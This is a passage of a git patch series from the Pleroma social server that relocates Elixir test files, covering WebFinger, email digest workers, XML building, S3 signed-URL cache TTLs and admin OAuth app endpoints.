- -defmodule Pleroma.Web.ErrorViewTest do - use Pleroma.Web.ConnCase, async: true - import ExUnit.CaptureLog - - # Bring render/3 and render_to_string/3 for testing custom views - import Phoenix.View - - test "renders 404.json" do - assert render(Pleroma.Web.ErrorView, "404.json", []) == %{errors: %{detail: "Page not found"}} - end - - test "render 500.json" do - assert capture_log(fn -> - assert render(Pleroma.Web.ErrorView, "500.json", []) == - %{errors: %{detail: "Internal server error", reason: "nil"}} - end) =~ "[error] Internal server error: nil" - end - - test "render any other" do - assert capture_log(fn -> - assert render(Pleroma.Web.ErrorView, "505.json", []) == - %{errors: %{detail: "Internal server error", reason: "nil"}} - end) =~ "[error] Internal server error: nil" - end - - test "render 500.json with reason" do - assert capture_log(fn -> - assert render(Pleroma.Web.ErrorView, "500.json", reason: "test reason") == - %{errors: %{detail: "Internal server error", reason: "\"test reason\""}} - end) =~ "[error] Internal server error: \"test reason\"" - end -end diff --git a/test/web/web_finger/web_finger_controller_test.exs b/test/web/web_finger/web_finger_controller_test.exs deleted file mode 100644 index 0023f1e81..000000000 --- a/test/web/web_finger/web_finger_controller_test.exs +++ /dev/null @@ -1,94 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.WebFinger.WebFingerControllerTest do - use Pleroma.Web.ConnCase - - import ExUnit.CaptureLog - import Pleroma.Factory - import Tesla.Mock - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - setup_all do: clear_config([:instance, :federating], true) - - test "GET host-meta" do - response = - build_conn() - |> get("/.well-known/host-meta") - - assert response.status == 200 - - assert response.resp_body == - ~s(<?xml version="1.0" encoding="UTF-8"?><XRD xmlns="http://docs.oasis-open.org/ns/xri/xrd-1.0"><Link rel="lrdd" template="#{ - Pleroma.Web.base_url() - }/.well-known/webfinger?resource={uri}" type="application/xrd+xml" /></XRD>) - end - - test "Webfinger JRD" do - user = insert(:user) - - response = - build_conn() - |> put_req_header("accept", "application/jrd+json") - |> get("/.well-known/webfinger?resource=acct:#{user.nickname}@localhost") - - assert json_response(response, 200)["subject"] == "acct:#{user.nickname}@localhost" - end - - test "it returns 404 when user isn't found (JSON)" do - result = - build_conn() - |> put_req_header("accept", "application/jrd+json") - |> get("/.well-known/webfinger?resource=acct:jimm@localhost") - |> json_response(404) - - assert result == "Couldn't find user" - end - - test "Webfinger XML" do - user = insert(:user) - - response = - build_conn() - |> put_req_header("accept", "application/xrd+xml") - |> get("/.well-known/webfinger?resource=acct:#{user.nickname}@localhost") - - assert response(response, 200) - end - - test "it returns 404 when user isn't found (XML)" do - result = - build_conn() - |> put_req_header("accept", "application/xrd+xml") - |> get("/.well-known/webfinger?resource=acct:jimm@localhost") - |> response(404) - - assert result == "Couldn't find user" - end - - test "Sends a 404 when invalid format" do - user = insert(:user) - - assert capture_log(fn -> - assert_raise Phoenix.NotAcceptableError, fn -> - build_conn() - |> put_req_header("accept", "text/html") - |> get("/.well-known/webfinger?resource=acct:#{user.nickname}@localhost") - end - end) =~ "no supported media type in accept header" - end - - test "Sends a 400 when resource param is missing" do - response = - build_conn() - |> put_req_header("accept", "application/xrd+xml,application/jrd+json") - |> get("/.well-known/webfinger") - - assert response(response, 400) - end -end diff --git a/test/web/web_finger/web_finger_test.exs b/test/web/web_finger/web_finger_test.exs deleted file mode 100644 index 96fc0bbaa..000000000 --- a/test/web/web_finger/web_finger_test.exs +++ /dev/null @@ -1,116 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.WebFingerTest do - use Pleroma.DataCase - alias Pleroma.Web.WebFinger - import Pleroma.Factory - import Tesla.Mock - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - describe "host meta" do - test "returns a link to the xml lrdd" do - host_info = WebFinger.host_meta() - - assert String.contains?(host_info, Pleroma.Web.base_url()) - end - end - - describe "incoming webfinger request" do - test "works for fqns" do - user = insert(:user) - - {:ok, result} = - WebFinger.webfinger("#{user.nickname}@#{Pleroma.Web.Endpoint.host()}", "XML") - - assert is_binary(result) - end - - test "works for ap_ids" do - user = insert(:user) - - {:ok, result} = WebFinger.webfinger(user.ap_id, "XML") - assert is_binary(result) - end - end - - describe "fingering" do - test "returns error for nonsensical input" do - assert {:error, _} = WebFinger.finger("bliblablu") - assert {:error, _} = WebFinger.finger("pleroma.social") - end - - test "returns error when fails parse xml or json" do - user = "invalid_content@social.heldscal.la" - assert {:error, %Jason.DecodeError{}} = WebFinger.finger(user) - end - - test "returns the ActivityPub actor URI for an ActivityPub user" do - user = "framasoft@framatube.org" - - {:ok, _data} = WebFinger.finger(user) - end - - test "returns the ActivityPub actor URI for an ActivityPub user with the ld+json mimetype" do - user = "kaniini@gerzilla.de" - - {:ok, data} = WebFinger.finger(user) - - assert data["ap_id"] == "https://gerzilla.de/channel/kaniini" - end - - test "it work for AP-only user" do - user = "kpherox@mstdn.jp" - - {:ok, data} = WebFinger.finger(user) - - assert data["magic_key"] == nil - assert data["salmon"] == nil - - assert data["topic"] == nil - assert data["subject"] == "acct:kPherox@mstdn.jp" - assert data["ap_id"] == "https://mstdn.jp/users/kPherox" - assert data["subscribe_address"] == "https://mstdn.jp/authorize_interaction?acct={uri}" - end - - test "it works for friendica" do - user = "lain@squeet.me" - - {:ok, _data} = WebFinger.finger(user) - end - - test "it gets the xrd endpoint" do - {:ok, template} = WebFinger.find_lrdd_template("social.heldscal.la") - - assert template == "https://social.heldscal.la/.well-known/webfinger?resource={uri}" - end - - test "it gets the xrd endpoint for hubzilla" do - {:ok, template} = WebFinger.find_lrdd_template("macgirvin.com") - - assert template == "https://macgirvin.com/xrd/?uri={uri}" - end - - test "it gets the xrd endpoint for statusnet" do - {:ok, template} = WebFinger.find_lrdd_template("status.alpicola.com") - - assert template == "http://status.alpicola.com/main/xrd?uri={uri}" - end - - test "it works with idna domains as nickname" do - nickname = "lain@" <> to_string(:idna.encode("zetsubou.みんな")) - - {:ok, _data} = WebFinger.finger(nickname) - end - - test "it works with idna domains as link" do - ap_id = "https://" <> to_string(:idna.encode("zetsubou.みんな")) <> "/users/lain" - {:ok, _data} = WebFinger.finger(ap_id) - end - end -end diff --git a/test/workers/cron/digest_emails_worker_test.exs b/test/workers/cron/digest_emails_worker_test.exs deleted file mode 100644 index 65887192e..000000000 --- a/test/workers/cron/digest_emails_worker_test.exs +++ /dev/null @@ -1,54 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Workers.Cron.DigestEmailsWorkerTest do - use Pleroma.DataCase - - import Pleroma.Factory - - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.CommonAPI - - setup do: clear_config([:email_notifications, :digest]) - - setup do - Pleroma.Config.put([:email_notifications, :digest], %{ - active: true, - inactivity_threshold: 7, - interval: 7 - }) - - user = insert(:user) - - date = - Timex.now() - |> Timex.shift(days: -10) - |> Timex.to_naive_datetime() - - user2 = insert(:user, last_digest_emailed_at: date) - {:ok, _} = User.switch_email_notifications(user2, "digest", true) - CommonAPI.post(user, %{status: "hey @#{user2.nickname}!"}) - - {:ok, user2: user2} - end - - test "it sends digest emails", %{user2: user2} do - Pleroma.Workers.Cron.DigestEmailsWorker.perform(%Oban.Job{}) - # Performing job(s) enqueued at previous step - ObanHelpers.perform_all() - - assert_received {:email, email} - assert email.to == [{user2.name, user2.email}] - assert email.subject == "Your digest from #{Pleroma.Config.get(:instance)[:name]}" - end - - test "it doesn't fail when a user has no email", %{user2: user2} do - {:ok, _} = user2 |> Ecto.Changeset.change(%{email: nil}) |> Pleroma.Repo.update() - - Pleroma.Workers.Cron.DigestEmailsWorker.perform(%Oban.Job{}) - # Performing job(s) enqueued at previous step - ObanHelpers.perform_all() - end -end diff --git a/test/workers/cron/new_users_digest_worker_test.exs b/test/workers/cron/new_users_digest_worker_test.exs deleted file mode 100644 index 129534cb1..000000000 --- a/test/workers/cron/new_users_digest_worker_test.exs +++ /dev/null @@ -1,45 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Workers.Cron.NewUsersDigestWorkerTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.Tests.ObanHelpers - alias Pleroma.Web.CommonAPI - alias Pleroma.Workers.Cron.NewUsersDigestWorker - - test "it sends new users digest emails" do - yesterday = NaiveDateTime.utc_now() |> Timex.shift(days: -1) - admin = insert(:user, %{is_admin: true}) - user = insert(:user, %{inserted_at: yesterday}) - user2 = insert(:user, %{inserted_at: yesterday}) - CommonAPI.post(user, %{status: "cofe"}) - - NewUsersDigestWorker.perform(%Oban.Job{}) - ObanHelpers.perform_all() - - assert_received {:email, email} - assert email.to == [{admin.name, admin.email}] - assert email.subject == "#{Pleroma.Config.get([:instance, :name])} New Users" - - refute email.html_body =~ admin.nickname - assert email.html_body =~ user.nickname - assert email.html_body =~ user2.nickname - assert email.html_body =~ "cofe" - assert email.html_body =~ "#{Pleroma.Web.Endpoint.url()}/static/logo.png" - end - - test "it doesn't fail when admin has no email" do - yesterday = NaiveDateTime.utc_now() |> Timex.shift(days: -1) - insert(:user, %{is_admin: true, email: nil}) - insert(:user, %{inserted_at: yesterday}) - user = insert(:user, %{inserted_at: yesterday}) - - CommonAPI.post(user, %{status: "cofe"}) - - NewUsersDigestWorker.perform(%Oban.Job{}) - ObanHelpers.perform_all() - end -end diff --git a/test/workers/scheduled_activity_worker_test.exs b/test/workers/scheduled_activity_worker_test.exs deleted file mode 100644 index f3eddf7b1..000000000 --- a/test/workers/scheduled_activity_worker_test.exs +++ /dev/null @@ -1,49 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Workers.ScheduledActivityWorkerTest do - use Pleroma.DataCase - - alias Pleroma.ScheduledActivity - alias Pleroma.Workers.ScheduledActivityWorker - - import Pleroma.Factory - import ExUnit.CaptureLog - - setup do: clear_config([ScheduledActivity, :enabled]) - - test "creates a status from the scheduled activity" do - Pleroma.Config.put([ScheduledActivity, :enabled], true) - user = insert(:user) - - naive_datetime = - NaiveDateTime.add( - NaiveDateTime.utc_now(), - -:timer.minutes(2), - :millisecond - ) - - scheduled_activity = - insert( - :scheduled_activity, - scheduled_at: naive_datetime, - user: user, - params: %{status: "hi"} - ) - - ScheduledActivityWorker.perform(%Oban.Job{args: %{"activity_id" => scheduled_activity.id}}) - - refute Repo.get(ScheduledActivity, scheduled_activity.id) - activity = Repo.all(Pleroma.Activity) |> Enum.find(&(&1.actor == user.ap_id)) - assert Pleroma.Object.normalize(activity).data["content"] == "hi" - end - - test "adds log message if ScheduledActivity isn't find" do - Pleroma.Config.put([ScheduledActivity, :enabled], true) - - assert capture_log([level: :error], fn -> - ScheduledActivityWorker.perform(%Oban.Job{args: %{"activity_id" => 42}}) - end) =~ "Couldn't find scheduled activity" - end -end diff --git a/test/xml_builder_test.exs b/test/xml_builder_test.exs deleted file mode 100644 index 059384c34..000000000 --- a/test/xml_builder_test.exs +++ /dev/null @@ -1,65 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.XmlBuilderTest do - use Pleroma.DataCase - alias Pleroma.XmlBuilder - - test "Build a basic xml string from a tuple" do - data = {:feed, %{xmlns: "http://www.w3.org/2005/Atom"}, "Some content"} - - expected_xml = "<feed xmlns=\"http://www.w3.org/2005/Atom\">Some content</feed>" - - assert XmlBuilder.to_xml(data) == expected_xml - end - - test "returns a complete document" do - data = {:feed, %{xmlns: "http://www.w3.org/2005/Atom"}, "Some content"} - - expected_xml = - "<?xml version=\"1.0\" encoding=\"UTF-8\"?><feed xmlns=\"http://www.w3.org/2005/Atom\">Some content</feed>" - - assert XmlBuilder.to_doc(data) == expected_xml - end - - test "Works without attributes" do - data = { - :feed, - "Some content" - } - - expected_xml = "<feed>Some content</feed>" - - assert XmlBuilder.to_xml(data) == expected_xml - end - - test "It works with nested tuples" do - data = { - :feed, - [ - {:guy, "brush"}, - {:lament, %{configuration: "puzzle"}, "pinhead"} - ] - } - - expected_xml = - ~s[<feed><guy>brush</guy><lament configuration="puzzle">pinhead</lament></feed>] - - assert XmlBuilder.to_xml(data) == expected_xml - end - - test "Represents NaiveDateTime as iso8601" do - assert XmlBuilder.to_xml(~N[2000-01-01 13:13:33]) == "2000-01-01T13:13:33" - end - - test "Uses self-closing tags when no content is giving" do - data = { - :link, - %{rel: "self"} - } - - expected_xml = ~s[<link rel="self" />] - assert XmlBuilder.to_xml(data) == expected_xml - end -end -- cgit v1.2.3 From 103f3dcb9ed0a12a11e9cc5c574449439fc2cb0e Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Tue, 23 Jun 2020 18:33:03 +0300 Subject: rich media parser ttl files consistency --- .../rich_media/parser/ttl/aws_signed_url_test.exs | 82 ++++++++++++++++++++++ .../rich_media/parsers/ttl/aws_signed_url_test.exs | 82 ---------------------- 2 files changed, 82 insertions(+), 82 deletions(-) create mode 100644 test/pleroma/web/rich_media/parser/ttl/aws_signed_url_test.exs delete mode 100644 test/pleroma/web/rich_media/parsers/ttl/aws_signed_url_test.exs (limited to 'test') diff --git a/test/pleroma/web/rich_media/parser/ttl/aws_signed_url_test.exs b/test/pleroma/web/rich_media/parser/ttl/aws_signed_url_test.exs new file mode 100644 index 000000000..2f17bebd7 --- /dev/null +++ b/test/pleroma/web/rich_media/parser/ttl/aws_signed_url_test.exs @@ -0,0 +1,82 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrlTest do + use ExUnit.Case, async: true + + test "s3 signed url is parsed correct for expiration time" do + url = "https://pleroma.social/amz" + + {:ok, timestamp} = + Timex.now() + |> DateTime.truncate(:second) + |> Timex.format("{ISO:Basic:Z}") + + # in seconds + valid_till = 30 + + metadata = construct_metadata(timestamp, valid_till, url) + + expire_time = + Timex.parse!(timestamp, "{ISO:Basic:Z}") |> Timex.to_unix() |> Kernel.+(valid_till) + + assert {:ok, expire_time} == Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrl.ttl(metadata, url) + end + + test "s3 signed url is parsed and correct ttl is set for rich media" do + url = "https://pleroma.social/amz" + + {:ok, timestamp} = + Timex.now() + |> DateTime.truncate(:second) + |> Timex.format("{ISO:Basic:Z}") + + # in seconds + valid_till = 30 + + metadata = construct_metadata(timestamp, valid_till, url) + + body = """ + <meta name="twitter:card" content="Pleroma" /> + <meta name="twitter:site" content="Pleroma" /> + <meta name="twitter:title" content="Pleroma" /> + <meta name="twitter:description" content="Pleroma" /> + <meta name="twitter:image" content="#{Map.get(metadata, :image)}" /> + """ + + Tesla.Mock.mock(fn + %{ + method: :get, + url: "https://pleroma.social/amz" + } -> + %Tesla.Env{status: 200, body: body} + end) + + Cachex.put(:rich_media_cache, url, metadata) + + Pleroma.Web.RichMedia.Parser.set_ttl_based_on_image(metadata, url) + + {:ok, cache_ttl} = Cachex.ttl(:rich_media_cache, url) + + # as there is delay in setting and pulling the data from cache we ignore 1 second + # make it 2 seconds for flakyness + assert_in_delta(valid_till * 1000, cache_ttl, 2000) + end + + defp construct_s3_url(timestamp, valid_till) do + "https://pleroma.s3.ap-southeast-1.amazonaws.com/sachin%20%281%29%20_a%20-%25%2Aasdasd%20BNN%20bnnn%20.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIBLWWK6RGDQXDLJQ%2F20190716%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Date=#{ + timestamp + }&X-Amz-Expires=#{valid_till}&X-Amz-Signature=04ffd6b98634f4b1bbabc62e0fac4879093cd54a6eed24fe8eb38e8369526bbf&X-Amz-SignedHeaders=host" + end + + defp construct_metadata(timestamp, valid_till, url) do + %{ + image: construct_s3_url(timestamp, valid_till), + site: "Pleroma", + title: "Pleroma", + description: "Pleroma", + url: url + } + end +end diff --git a/test/pleroma/web/rich_media/parsers/ttl/aws_signed_url_test.exs b/test/pleroma/web/rich_media/parsers/ttl/aws_signed_url_test.exs deleted file mode 100644 index 4a3122638..000000000 --- a/test/pleroma/web/rich_media/parsers/ttl/aws_signed_url_test.exs +++ /dev/null @@ -1,82 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.RichMedia.Parsers.TTL.AwsSignedUrlTest do - use ExUnit.Case, async: true - - test "s3 signed url is parsed correct for expiration time" do - url = "https://pleroma.social/amz" - - {:ok, timestamp} = - Timex.now() - |> DateTime.truncate(:second) - |> Timex.format("{ISO:Basic:Z}") - - # in seconds - valid_till = 30 - - metadata = construct_metadata(timestamp, valid_till, url) - - expire_time = - Timex.parse!(timestamp, "{ISO:Basic:Z}") |> Timex.to_unix() |> Kernel.+(valid_till) - - assert {:ok, expire_time} == Pleroma.Web.RichMedia.Parser.TTL.AwsSignedUrl.ttl(metadata, url) - end - - test "s3 signed url is parsed and correct ttl is set for rich media" do - url = "https://pleroma.social/amz" - - {:ok, timestamp} = - Timex.now() - |> DateTime.truncate(:second) - |> Timex.format("{ISO:Basic:Z}") - - # in seconds - valid_till = 30 - - metadata = construct_metadata(timestamp, valid_till, url) - - body = """ - <meta name="twitter:card" content="Pleroma" /> - <meta name="twitter:site" content="Pleroma" /> - <meta name="twitter:title" content="Pleroma" /> - <meta name="twitter:description" content="Pleroma" /> - <meta name="twitter:image" content="#{Map.get(metadata, :image)}" /> - """ - - Tesla.Mock.mock(fn - %{ - method: :get, - url: "https://pleroma.social/amz" - } -> - %Tesla.Env{status: 200, body: body} - end) - - Cachex.put(:rich_media_cache, url, metadata) - - Pleroma.Web.RichMedia.Parser.set_ttl_based_on_image(metadata, url) - - {:ok, cache_ttl} = Cachex.ttl(:rich_media_cache, url) - - # as there is delay in setting and pulling the data from cache we ignore 1 second - # make it 2 seconds for flakyness - assert_in_delta(valid_till * 1000, cache_ttl, 2000) - end - - defp construct_s3_url(timestamp, valid_till) do - "https://pleroma.s3.ap-southeast-1.amazonaws.com/sachin%20%281%29%20_a%20-%25%2Aasdasd%20BNN%20bnnn%20.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIBLWWK6RGDQXDLJQ%2F20190716%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Date=#{ - timestamp - }&X-Amz-Expires=#{valid_till}&X-Amz-Signature=04ffd6b98634f4b1bbabc62e0fac4879093cd54a6eed24fe8eb38e8369526bbf&X-Amz-SignedHeaders=host" - end - - defp construct_metadata(timestamp, valid_till, url) do - %{ - image: construct_s3_url(timestamp, valid_till), - site: "Pleroma", - title: "Pleroma", - description: "Pleroma", - url: url - } - end -end -- cgit v1.2.3 From 7acf09beb8f19ec75bd291f8e4619339c26f7109 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Tue, 23 Jun 2020 18:48:12 +0300 Subject: more tests --- .../controllers/o_auth_app_controller_test.exs | 220 +++++++++++++++++++++ .../controllers/oauth_app_controller_test.exs | 220 --------------------- .../web/pleroma_api/views/scrobble_view_test.exs | 2 +- 3 files changed, 221 insertions(+), 221 deletions(-) create mode 100644 test/pleroma/web/admin_api/controllers/o_auth_app_controller_test.exs delete mode 100644 test/pleroma/web/admin_api/controllers/oauth_app_controller_test.exs (limited to 'test') diff --git a/test/pleroma/web/admin_api/controllers/o_auth_app_controller_test.exs b/test/pleroma/web/admin_api/controllers/o_auth_app_controller_test.exs new file mode 100644 index 000000000..ed7c4172c --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/o_auth_app_controller_test.exs @@ -0,0 +1,220 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.OAuthAppControllerTest do + use Pleroma.Web.ConnCase, async: true + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + + alias Pleroma.Config + alias Pleroma.Web + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "POST /api/pleroma/admin/oauth_app" do + test "errors", %{conn: conn} do + response = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/oauth_app", %{}) + |> json_response_and_validate_schema(400) + + assert %{ + "error" => "Missing field: name. Missing field: redirect_uris." + } = response + end + + test "success", %{conn: conn} do + base_url = Web.base_url() + app_name = "Trusted app" + + response = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/oauth_app", %{ + name: app_name, + redirect_uris: base_url + }) + |> json_response_and_validate_schema(200) + + assert %{ + "client_id" => _, + "client_secret" => _, + "name" => ^app_name, + "redirect_uri" => ^base_url, + "trusted" => false + } = response + end + + test "with trusted", %{conn: conn} do + base_url = Web.base_url() + app_name = "Trusted app" + + response = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/oauth_app", %{ + name: app_name, + redirect_uris: base_url, + trusted: true + }) + |> json_response_and_validate_schema(200) + + assert %{ + "client_id" => _, + "client_secret" => _, + "name" => ^app_name, + "redirect_uri" => ^base_url, + "trusted" => true + } = response + end + end + + describe "GET /api/pleroma/admin/oauth_app" do + setup do + app = insert(:oauth_app) + {:ok, app: app} + end + + test "list", %{conn: conn} do + response = + conn + |> get("/api/pleroma/admin/oauth_app") + |> json_response_and_validate_schema(200) + + assert %{"apps" => apps, "count" => count, "page_size" => _} = response + + assert length(apps) == count + end + + test "with page size", %{conn: conn} do + insert(:oauth_app) + page_size = 1 + + response = + conn + |> get("/api/pleroma/admin/oauth_app?page_size=#{page_size}") + |> json_response_and_validate_schema(200) + + assert %{"apps" => apps, "count" => _, "page_size" => ^page_size} = response + + assert length(apps) == page_size + end + + test "search by client name", %{conn: conn, app: app} do + response = + conn + |> get("/api/pleroma/admin/oauth_app?name=#{app.client_name}") + |> json_response_and_validate_schema(200) + + assert %{"apps" => [returned], "count" => _, "page_size" => _} = response + + assert returned["client_id"] == app.client_id + assert returned["name"] == app.client_name + end + + test "search by client id", %{conn: conn, app: app} do + response = + conn + |> get("/api/pleroma/admin/oauth_app?client_id=#{app.client_id}") + |> json_response_and_validate_schema(200) + + assert %{"apps" => [returned], "count" => _, "page_size" => _} = response + + assert returned["client_id"] == app.client_id + assert returned["name"] == app.client_name + end + + test "only trusted", %{conn: conn} do + app = insert(:oauth_app, trusted: true) + + response = + conn + |> get("/api/pleroma/admin/oauth_app?trusted=true") + |> json_response_and_validate_schema(200) + + assert %{"apps" => [returned], "count" => _, "page_size" => _} = response + + assert returned["client_id"] == app.client_id + assert returned["name"] == app.client_name + end + end + + describe "DELETE /api/pleroma/admin/oauth_app/:id" do + test "with id", %{conn: conn} do + app = insert(:oauth_app) + + response = + conn + |> delete("/api/pleroma/admin/oauth_app/" <> to_string(app.id)) + |> json_response_and_validate_schema(:no_content) + + assert response == "" + end + + test "with non existance id", %{conn: conn} do + response = + conn + |> delete("/api/pleroma/admin/oauth_app/0") + |> json_response_and_validate_schema(:bad_request) + + assert response == "" + end + end + + describe "PATCH /api/pleroma/admin/oauth_app/:id" do + test "with id", %{conn: conn} do + app = insert(:oauth_app) + + name = "another name" + url = "https://example.com" + scopes = ["admin"] + id = app.id + website = "http://website.com" + + response = + conn + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/oauth_app/#{id}", %{ + name: name, + trusted: true, + redirect_uris: url, + scopes: scopes, + website: website + }) + |> json_response_and_validate_schema(200) + + assert %{ + "client_id" => _, + "client_secret" => _, + "id" => ^id, + "name" => ^name, + "redirect_uri" => ^url, + "trusted" => true, + "website" => ^website + } = response + end + + test "without id", %{conn: conn} do + response = + conn + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/oauth_app/0") + |> json_response_and_validate_schema(:bad_request) + + assert response == "" + end + end +end diff --git a/test/pleroma/web/admin_api/controllers/oauth_app_controller_test.exs b/test/pleroma/web/admin_api/controllers/oauth_app_controller_test.exs deleted file mode 100644 index ed7c4172c..000000000 --- a/test/pleroma/web/admin_api/controllers/oauth_app_controller_test.exs +++ /dev/null @@ -1,220 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.OAuthAppControllerTest do - use Pleroma.Web.ConnCase, async: true - use Oban.Testing, repo: Pleroma.Repo - - import Pleroma.Factory - - alias Pleroma.Config - alias Pleroma.Web - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "POST /api/pleroma/admin/oauth_app" do - test "errors", %{conn: conn} do - response = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/oauth_app", %{}) - |> json_response_and_validate_schema(400) - - assert %{ - "error" => "Missing field: name. Missing field: redirect_uris." - } = response - end - - test "success", %{conn: conn} do - base_url = Web.base_url() - app_name = "Trusted app" - - response = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/oauth_app", %{ - name: app_name, - redirect_uris: base_url - }) - |> json_response_and_validate_schema(200) - - assert %{ - "client_id" => _, - "client_secret" => _, - "name" => ^app_name, - "redirect_uri" => ^base_url, - "trusted" => false - } = response - end - - test "with trusted", %{conn: conn} do - base_url = Web.base_url() - app_name = "Trusted app" - - response = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/oauth_app", %{ - name: app_name, - redirect_uris: base_url, - trusted: true - }) - |> json_response_and_validate_schema(200) - - assert %{ - "client_id" => _, - "client_secret" => _, - "name" => ^app_name, - "redirect_uri" => ^base_url, - "trusted" => true - } = response - end - end - - describe "GET /api/pleroma/admin/oauth_app" do - setup do - app = insert(:oauth_app) - {:ok, app: app} - end - - test "list", %{conn: conn} do - response = - conn - |> get("/api/pleroma/admin/oauth_app") - |> json_response_and_validate_schema(200) - - assert %{"apps" => apps, "count" => count, "page_size" => _} = response - - assert length(apps) == count - end - - test "with page size", %{conn: conn} do - insert(:oauth_app) - page_size = 1 - - response = - conn - |> get("/api/pleroma/admin/oauth_app?page_size=#{page_size}") - |> json_response_and_validate_schema(200) - - assert %{"apps" => apps, "count" => _, "page_size" => ^page_size} = response - - assert length(apps) == page_size - end - - test "search by client name", %{conn: conn, app: app} do - response = - conn - |> get("/api/pleroma/admin/oauth_app?name=#{app.client_name}") - |> json_response_and_validate_schema(200) - - assert %{"apps" => [returned], "count" => _, "page_size" => _} = response - - assert returned["client_id"] == app.client_id - assert returned["name"] == app.client_name - end - - test "search by client id", %{conn: conn, app: app} do - response = - conn - |> get("/api/pleroma/admin/oauth_app?client_id=#{app.client_id}") - |> json_response_and_validate_schema(200) - - assert %{"apps" => [returned], "count" => _, "page_size" => _} = response - - assert returned["client_id"] == app.client_id - assert returned["name"] == app.client_name - end - - test "only trusted", %{conn: conn} do - app = insert(:oauth_app, trusted: true) - - response = - conn - |> get("/api/pleroma/admin/oauth_app?trusted=true") - |> json_response_and_validate_schema(200) - - assert %{"apps" => [returned], "count" => _, "page_size" => _} = response - - assert returned["client_id"] == app.client_id - assert returned["name"] == app.client_name - end - end - - describe "DELETE /api/pleroma/admin/oauth_app/:id" do - test "with id", %{conn: conn} do - app = insert(:oauth_app) - - response = - conn - |> delete("/api/pleroma/admin/oauth_app/" <> to_string(app.id)) - |> json_response_and_validate_schema(:no_content) - - assert response == "" - end - - test "with non existance id", %{conn: conn} do - response = - conn - |> delete("/api/pleroma/admin/oauth_app/0") - |> json_response_and_validate_schema(:bad_request) - - assert response == "" - end - end - - describe "PATCH /api/pleroma/admin/oauth_app/:id" do - test "with id", %{conn: conn} do - app = insert(:oauth_app) - - name = "another name" - url = "https://example.com" - scopes = ["admin"] - id = app.id - website = "http://website.com" - - response = - conn - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/oauth_app/#{id}", %{ - name: name, - trusted: true, - redirect_uris: url, - scopes: scopes, - website: website - }) - |> json_response_and_validate_schema(200) - - assert %{ - "client_id" => _, - "client_secret" => _, - "id" => ^id, - "name" => ^name, - "redirect_uri" => ^url, - "trusted" => true, - "website" => ^website - } = response - end - - test "without id", %{conn: conn} do - response = - conn - |> put_req_header("content-type", "application/json") - |> patch("/api/pleroma/admin/oauth_app/0") - |> json_response_and_validate_schema(:bad_request) - - assert response == "" - end - end -end diff --git a/test/pleroma/web/pleroma_api/views/scrobble_view_test.exs b/test/pleroma/web/pleroma_api/views/scrobble_view_test.exs index 6bdb56509..0f43cbdc3 100644 --- a/test/pleroma/web/pleroma_api/views/scrobble_view_test.exs +++ b/test/pleroma/web/pleroma_api/views/scrobble_view_test.exs @@ -2,7 +2,7 